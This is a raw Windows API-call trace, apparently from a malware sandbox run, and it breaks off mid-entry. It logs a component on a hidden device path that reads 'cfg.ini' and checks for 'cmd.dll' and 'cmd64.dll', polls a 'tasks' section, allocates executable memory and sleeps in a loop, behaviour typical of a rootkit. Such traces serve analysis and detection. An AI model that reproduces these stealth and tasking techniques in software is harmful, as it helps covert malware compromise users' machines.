ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.790] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.790] IdePortDispatch () returned 0x103 [0129.790] KeWaitForMutexObject () returned 0x0 [0129.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.790] KeLeaveCriticalRegion () [0129.790] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.790] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.790] KeEnterCriticalRegion () [0129.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cad000 [0129.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.790] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.790] IdePortDispatch () returned 0x103 [0129.790] KeWaitForMutexObject () returned 0x0 [0129.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.790] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.790] IdePortDispatch () returned 0x103 [0129.791] KeWaitForMutexObject () returned 0x0 [0129.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.791] KeLeaveCriticalRegion () [0129.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.791] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.791] KeEnterCriticalRegion () [0129.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.791] KeLeaveCriticalRegion () [0129.791] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.791] KeEnterCriticalRegion () [0129.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.791] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.791] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.791] KeLeaveCriticalRegion () [0129.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.791] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.792] KeEnterCriticalRegion () [0129.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.792] ExFreePoolWithTag (P=0xfffffa8003c077d0, Tag=0x0) [0129.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.792] KeLeaveCriticalRegion () [0129.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.792] ReleaseMutex (hMutex=0xf0) returned 1 [0129.792] Sleep (dwMilliseconds=0x927c0) [0129.806] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.806] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.806] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.806] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.806] KeEnterCriticalRegion () [0129.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.806] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.806] IdePortDispatch () returned 0x103 [0129.806] KeWaitForMutexObject () returned 0x0 [0129.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.806] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.806] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.806] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.806] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.806] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07ad0 [0129.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.806] KeLeaveCriticalRegion () [0129.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.806] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.806] KeEnterCriticalRegion () [0129.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.806] KeLeaveCriticalRegion () [0129.806] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.807] KeEnterCriticalRegion () [0129.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.807] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.807] IdePortDispatch () returned 0x103 [0129.807] KeWaitForMutexObject () returned 0x0 [0129.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.807] KeLeaveCriticalRegion () [0129.807] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.807] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.807] KeEnterCriticalRegion () [0129.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0129.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.807] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.807] IdePortDispatch () returned 0x103 [0129.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.809] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.809] IdePortDispatch () returned 0x103 [0129.809] KeWaitForMutexObject () returned 0x0 [0129.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.809] KeLeaveCriticalRegion () [0129.809] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.810] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.810] KeEnterCriticalRegion () [0129.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] KeLeaveCriticalRegion () [0129.810] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.810] KeEnterCriticalRegion () [0129.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.810] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c078e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] KeLeaveCriticalRegion () [0129.810] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.810] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.810] KeEnterCriticalRegion () [0129.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] ExFreePoolWithTag (P=0xfffffa8003c07ad0, Tag=0x0) [0129.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.810] KeLeaveCriticalRegion () [0129.810] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.810] ReleaseMutex (hMutex=0xf0) returned 1 [0129.810] Sleep (dwMilliseconds=0x927c0) [0129.824] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.824] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.824] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.824] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.824] KeEnterCriticalRegion () [0129.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.824] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.824] IdePortDispatch () returned 0x103 [0129.824] KeWaitForMutexObject () returned 0x0 [0129.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.825] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.825] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.825] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.825] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.825] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07470 [0129.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] KeLeaveCriticalRegion () [0129.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.825] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.825] KeEnterCriticalRegion () [0129.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] KeLeaveCriticalRegion () [0129.825] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.825] KeEnterCriticalRegion () [0129.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.825] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.825] IdePortDispatch () returned 0x103 [0129.825] KeWaitForMutexObject () returned 0x0 [0129.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] KeLeaveCriticalRegion () [0129.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.825] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.825] KeEnterCriticalRegion () [0129.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0129.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.826] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.826] IdePortDispatch () returned 0x103 [0129.826] KeWaitForMutexObject () returned 0x0 [0129.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.826] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.826] IdePortDispatch () returned 0x103 [0129.826] KeWaitForMutexObject () returned 0x0 [0129.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.826] KeLeaveCriticalRegion () [0129.826] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.827] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.827] KeEnterCriticalRegion () [0129.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] KeLeaveCriticalRegion () [0129.827] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.827] KeEnterCriticalRegion () [0129.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07530, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] KeLeaveCriticalRegion () [0129.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.827] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.827] KeEnterCriticalRegion () [0129.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] ExFreePoolWithTag (P=0xfffffa8003c07470, Tag=0x0) [0129.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] KeLeaveCriticalRegion () [0129.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.827] ReleaseMutex (hMutex=0xf0) returned 1 [0129.827] Sleep (dwMilliseconds=0x927c0) [0129.837] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.837] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.842] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.842] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.842] KeEnterCriticalRegion () [0129.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.842] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.842] IdePortDispatch () returned 0x103 [0129.843] KeWaitForMutexObject () returned 0x0 [0129.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.843] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.843] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.843] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.843] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.843] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06590 [0129.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.843] KeLeaveCriticalRegion () [0129.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.843] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.843] KeEnterCriticalRegion () [0129.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.843] KeLeaveCriticalRegion () [0129.843] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.843] KeEnterCriticalRegion () [0129.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.843] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.843] IdePortDispatch () returned 0x103 [0129.843] KeWaitForMutexObject () returned 0x0 [0129.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.843] KeLeaveCriticalRegion () [0129.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.844] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.844] KeEnterCriticalRegion () [0129.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdc000 [0129.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.844] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.844] IdePortDispatch () returned 0x103 [0129.844] KeWaitForMutexObject () returned 0x0 [0129.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.844] IoAllocateIrp (StackSize=1, 